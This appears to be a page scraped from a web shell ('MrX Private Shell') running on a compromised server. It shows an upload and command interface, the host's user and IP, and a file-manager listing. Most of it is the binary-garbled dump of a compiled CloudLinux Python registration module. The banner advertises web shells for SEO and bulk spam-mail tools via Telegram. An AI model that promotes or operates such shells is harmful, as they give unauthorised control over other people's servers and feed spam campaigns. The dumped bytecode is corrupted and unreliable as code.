__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.134: ~ $
3

m��i*�@s�ddlZddlZddlmZddlmZddlmZddlmZddlmZddlmZddl	m
Z
dd	lmZm
Z
y4ddlZddlZdd
lmZmZmZmZmZmZWnDek
r�ddljZddljZeZeZeZeZe Ze Ze!Z"YnXddl#Z#e#j$ddd
�Z%e&e%d��se%j#e%_'e%j'Z(dZ)dZ*ddddd�Z+dd�e+j,�D�Z-ddlm.Z.e.j/�Z0ej1�Z2dd�Z3dd�Z4dd�Z5ee6d�d d!�Z7e6d"�d#d$�Z8d6d&d'�Z9d7e6d(�d)d*�Z:d+d,�Z;ed-�d.d/�Z<d8d0d1�Z=d2d3�Z>d4d5�Z?dS)9�N)�up2dateUtils)�
up2dateErrors)�up2dateAuth)�	rhnserver)�
up2dateLog)�
statistics)�getPlatform)�ustr�sstr)�ListType�	TupleType�
StringType�UnicodeType�DictType�DictionaryTypezrhn-client-toolsT)Zfallback�ugettextz/etc/sysconfig/rhnz/etc/sysconfig/rhn/jwt.tokenZ
shared_pro�shared�solo�admin)zCloudLinux OS Shared ProzCloudLinux OS SharedzCloudLinux OS SolozCloudLinux OS AdmincCsi|]\}}||�qS�r)�.0�k�vrr�/usr/lib/python3.6/rhnreg.py�
<dictcomp>4sr)�configcCstjtdtj�S)N�systemIdPath)�os�access�cfg�R_OKrrrr�
registered<sr!cCs�tjj|�}tj|tj�sdStj|tj�rLytj||d�Wn
dStj|tjtj	Bt
dd��}tj|d�}z|jt
|��Wd|j�XdS)z; Write a file to disk that is not readable by other users. Fz.saveZ0600��wNT)r�path�dirnamer�W_OK�F_OK�rename�open�O_WRONLY�O_CREAT�int�fdopen�writer
�close)Zsecure_fileZ
file_contentsZdir_name�fdZfd_filerrr�_write_secure_file?s
r1cCsttd|�}|S)Nr)r1r)�systemId�resrrr�
writeSystemIdUsr4)�token�allowTransitioncCsnddl}ddl}|jjd�s dSdd|g}|r8|jd�|j|�}|j�\}}|jdkrjtj	d||f�dS)zH
    Execute binary file which we use as hook for jwt token updates
    rNz /opt/cloudlinux/venv/bin/python3z/usr/sbin/cl-pre-jwt-updatez--new-tokenz--allow-transitionz7Pre jwt update hook failed with stdout=%s and stderr=%s)
�
subprocessrr$�exists�append�Popen�communicate�
returncode�log�log_me)r5r6r7r�cmd�p�stdout�stderrrrr�_execute_pre_jwt_update_hookZs



rC)r6cCsjddl}ddl}|jjd�s dSdg}|r4|jd�|j|�}|j�\}}|jdkrftj	d||f�dS)zH
    Execute binary file which we use as hook for jwt token updates
    rNz /opt/cloudlinux/venv/bin/python3z/usr/sbin/cl-post-jwt-updatez--allow-transitionz8Post jwt update hook failed with stdout=%s and stderr=%s)
r7rr$r8r9r:r;r<r=r>)r6r7rr?r@rArBrrr�_execute_post_jwt_update_hookms


rDFcCs�tj�}y|jj|�}WnFtjk
r.dStjtjtjtj	fk
r^t
jtj
��dSXt||�tt|�t|�dS)z�
    Get a JWT token from CLN and save it to the file
    :param systemId: content of file `/etc/sysconfig/rhn/systemid`
    :return: None
    N)rZ	RhnServerZup2dateZgetJWTTokenr�UnknownMethodExceptionZAuthenticationTicketErrorZRhnUuidUniquenessError�CommunicationErrorZ$AuthenticationOrAccountCreationErrorr=Z
log_exception�sys�exc_inforCr1�	JWT_TOKENrD)r2r6Z
xmlrpm_server�resultrrr�getAndWriteJWTTokenToFile�s

rK)�human_readablec	CsFd}tjj|�sdSt|�� }|j�jd�}|r4|St|SQRXdS)Nz/opt/cloudlinux/cl_editionr�
)rr$r8r)�read�strip�_human_readable_to_product)rLZedition_cache_file�fZraw_editionrrr�getServerEdition�s
rRcCsVyt|�}WnPtjk
rH}ztd|j�tjd�WYdd}~Xntjk
r\dSXt�}|d}||krxdS|r�tdj	t
|t
|d��td�tjd�|�sRtjj�s�td�td�t
|�dt
|�d	�}d
dd�}|j
|�}	|	dk	�rJtj�}
|
|	k�r6td||�d
|
�d��tjd�n|�d||�d�}t|�dS)Nz%s��editionz�WARNING: Automatic registration in yum transactions is only available when edition matches the provided license. Your current edition is {current_edition} and your license is {new_edition}.)Zcurrent_editionZnew_editionz0Run clnreg_ks manually to complete registration.aError: interactive input required for edition migration, but tool is running in non-interactive mode. Please try running the tool again in interactive shell or add `--migrate-silently` flag to accept allquestions and perform the edition migration silently.za edition installed on your server does not match license you are trying to register server with: zh. Migration is required. You may lose access to the services which are not supported by the new edition.�)rrz@The license you are trying to register with allows a maximum of z% hosting accounts which is less than z) users detected on this server. Aborting.zG Also, the license you are trying to register with allows a maximum of zM hosting accounts. Make sure that your system complies with this requirement.)�checkKeyrrF�print�errmsgrG�exitrErR�format�_product_to_human_readable�stdin�isatty�getrZcount_server_users�_askConfirmation)�
activationKeyZ
strictEditionZsilentMigrationZlicenseInformation�eZcurrentEditionZlicenseEdition�messageZedition_to_users_limitZlicense_users_limitZusers_on_serverrrr�checkLicenseKey�sB




rc)�confirmationMessagecCs2t|�td�}|j�dkr.td�tjd�dS)zS
    Prints message and makes sure that client is ready for edition migration.
    z Do you want to continue? [N/y]: �yzAborted.rSN)rW�input�lowerrGrY)rdZresponserrrr_�s
r_cCs�|dkr|dkstd��|tj�tj�tj�d�}tj�}|dk	rJ||d<|rlx|j�D]\}}	|	||<qXW|rz||d<n||d<||d<|dk	r�||d<n(tj	j
d	�r�d
ntj	j
d�r�dnd
|d<tj�}
|
j
j|�}|S)ziWrapper for the old xmlrpc to register a system. Activates subscriptions
    if a reg num is given.

    Nz)username and password usage is deprecated)Zprofile_nameZ
os_releaseZrelease_nameZarchitectureZ	system_idr5�username�passwordrTz/etc/cloudlinux-edition-solorz/etc/cloudlinux-edition-adminrr)�AssertionErrorrZ
getVersionZgetOSReleaseZgetArchrZgetSystemId�itemsrr$r8r�RegistrationRhnServer�registrationZ
new_system)rhriZprofileNamer5�otherrTZ	auth_dictZ
system_id_xml�key�item�s�retrrr�registerSystem�s.

rscCstj�}|jj|�}|S)zG
    Check the activation key and return it's edition and customer
    )rrlrmZ
license_check)r`rqrrrrrrVsrVcGs�g}x�|D]�}t|�}|tkr(t|�}nZ|tkrDtdd�|D��}n>|tkr\dd�|D�}n&|tksl|tkr�tdd�|j	�D��}|j
|�q
Wt|�dkr�|dSt|�SdS)	u� All the data we gathered from dmi, bios, gudev are in utf-8,
            we need to convert characters beyond ord(127) - e.g ® to unicode.
        css|]}t|�VqdS)N)�_encode_characters)r�irrr�	<genexpr>4sz%_encode_characters.<locals>.<genexpr>cSsg|]}t|��qSr)rt)rrurrr�
<listcomp>6sz&_encode_characters.<locals>.<listcomp>cSsg|]\}}t||��qSr)rt)r�name�valrrrrw8srSrN)�typer
r	r�tuplerrr�dictrkr9�len)�argsrJrpZ	item_typerrrrt*s

rt)F)F)NNNNNN)@rrGZup2date_clientrrrrrrZup2date_client.pkgplatformrZrhn.i18nr	r
ZurlparseZ	xmlrpclib�typesrrr
rrr�ImportErrorZurllib.parse�parseZ
xmlrpc.clientZclient�listr{�bytes�strr|r,Zlong�gettextZtranslation�t�hasattrr�_Z	SYSID_DIRrIrPrkr[rZinitUp2dateConfigrZinitLogr=r!r1r4�boolrCrDrKrRrcr_rsrVrtrrrr�<module>	sj$



>
*

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 113 B 0644
__init__.cpython-36.pyc File 113 B 0644
clpwd.cpython-36.opt-1.pyc File 3.9 KB 0644
clpwd.cpython-36.pyc File 3.9 KB 0644
config.cpython-36.opt-1.pyc File 10.96 KB 0644
config.cpython-36.pyc File 10.96 KB 0644
hardware.cpython-36.opt-1.pyc File 3.11 KB 0644
hardware.cpython-36.pyc File 3.11 KB 0644
pkgplatform.cpython-36.opt-1.pyc File 288 B 0644
pkgplatform.cpython-36.pyc File 288 B 0644
rhncli.cpython-36.opt-1.pyc File 5.83 KB 0644
rhncli.cpython-36.pyc File 5.83 KB 0644
rhnreg.cpython-36.opt-1.pyc File 8.56 KB 0644
rhnreg.cpython-36.pyc File 8.65 KB 0644
rhnserver.cpython-36.opt-1.pyc File 4.73 KB 0644
rhnserver.cpython-36.pyc File 4.73 KB 0644
rpcServer.cpython-36.opt-1.pyc File 7.11 KB 0644
rpcServer.cpython-36.pyc File 7.11 KB 0644
statistics.cpython-36.opt-1.pyc File 1.64 KB 0644
statistics.cpython-36.pyc File 1.64 KB 0644
up2dateAuth.cpython-36.opt-1.pyc File 7.76 KB 0644
up2dateAuth.cpython-36.pyc File 7.76 KB 0644
up2dateErrors.cpython-36.opt-1.pyc File 10.25 KB 0644
up2dateErrors.cpython-36.pyc File 10.25 KB 0644
up2dateLog.cpython-36.opt-1.pyc File 2.48 KB 0644
up2dateLog.cpython-36.pyc File 2.48 KB 0644
up2dateUtils.cpython-36.opt-1.pyc File 1.5 KB 0644
up2dateUtils.cpython-36.pyc File 1.5 KB 0644